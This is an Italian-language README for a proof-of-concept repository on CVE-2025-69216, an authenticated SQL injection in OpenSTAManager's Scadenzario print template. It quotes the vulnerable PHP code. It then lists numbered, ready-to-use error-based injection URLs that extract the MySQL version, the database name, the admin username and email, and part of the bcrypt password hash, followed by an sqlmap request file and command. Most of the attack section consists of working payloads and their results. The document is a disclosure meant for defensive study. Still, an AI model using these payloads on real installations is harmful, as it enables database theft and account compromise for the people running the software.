
Repository proof-of-concept per CVE-2025-69216, una SQL injection autenticata nel template di stampa Scadenzario di OpenSTAManager, che consente l'estrazione delle credenziali admin e dei contenuti del database tramite SQLi basata su errori e blind.
| Campo | Dettagli |
|---|
| CVE ID | CVE-2025-69216 |
| Gravità | ALTA |
| Advisory | Visualizza Advisory |
| Scoperto da | Lukasz Rybak |
Una vulnerabilità di SQL injection autenticata nel template di stampa Scadenzario (piano dei pagamenti) di OpenSTAManager consente a qualsiasi utente autenticato di estrarre dati sensibili dal database, incluse le credenziali dell'admin, le informazioni sui clienti e i registri finanziari. La vulnerabilità consente l'accesso completo in lettura al database tramite tecniche di SQL injection basate su errori.
La vulnerabilità è presente in templates/scadenzario/init.php alla riga 46, dove il parametro id_anagrafica viene concatenato direttamente in una query SQL senza una corretta sanitizzazione:
Codice vulnerabile:
if (get('id_anagrafica') && get('id_anagrafica') != 'null') {
$module_query = str_replace('1=1', '1=1 AND `co_scadenziario`.`idanagrafica`="'.get('id_anagrafica').'"', $module_query);
$id_anagrafica = get('id_anagrafica');
}
La funzione get() recupera l'input utente dai parametri GET/POST senza validazione. Il valore del parametro viene incorporato direttamente nella stringa della query SQL tramite concatenazione di stringhe invece di utilizzare la funzione prepare() dell'applicazione per la sanitizzazione, consentendo attacchi di SQL injection.
Causa principale:
prepare() per la sanitizzazione dell'inputEndpoint interessato:
/pdfgen.php?ptype=scadenzario&id_anagrafica=[INJECTION_PAYLOAD]
File interessati:
templates/scadenzario/init.php (riga 46) - Vulnerabilità principaletemplates/scadenzario/init.php (righe 34, 40) - Modello simile con i parametri delle datepdfgen.php - Punto di ingresso per il rendering dei template1. Conferma della vulnerabilità - Test di errore di sintassi di base:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20--%20
Errore di sintassi SQL mostrato nella risposta dell'applicazione

2. Estrazione della versione del database - SQLi basata su errori:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,VERSION(),0x7e))%20AND%20%221%22=%221
Risultato: ~8.3.0~ (versione MySQL)

3. Estrazione del nome del database:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,database(),0x7e))%20AND%20%221%22=%221
Risultato: ~openstamanager~

4. Estrazione del nome utente admin:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20username%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Risultato: ~admin~

5. Estrazione dell'email dell'admin:
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20email%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Risultato: Indirizzo email dell'admin

6. Estrazione dell'hash della password (parziale - limite di 31 caratteri di XPATH):
http://localhost:8081/pdfgen.php?ptype=scadenzario&id_anagrafica=1%22%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20password%20FROM%20zz_users%20LIMIT%201),0x7e))%20AND%20%221%22=%221
Risultato: hash della password bcrypt

7. Sfruttamento automatizzato con SQLMap:
Creare il file di richiesta sqli_osm.req:
GET /pdfgen.php?ptype=scadenzario&id_anagrafica=1* HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=[SESSION_COOKIE]
User-Agent: Mozilla/5.0
Eseguire SQLMap:
sqlmap -r sqli_osm.req --level 3 --risk 3 --dbs
Tipi di iniezione confermati da SQLMap:

Chi è colpito:
Segnalata da Łukasz Rybak
Questa CVE è stata divulgata in modo responsabile seguendo le pratiche di divulgazione coordinata delle vulnerabilità. Le informazioni fornite qui hanno solo scopo educativo e difensivo.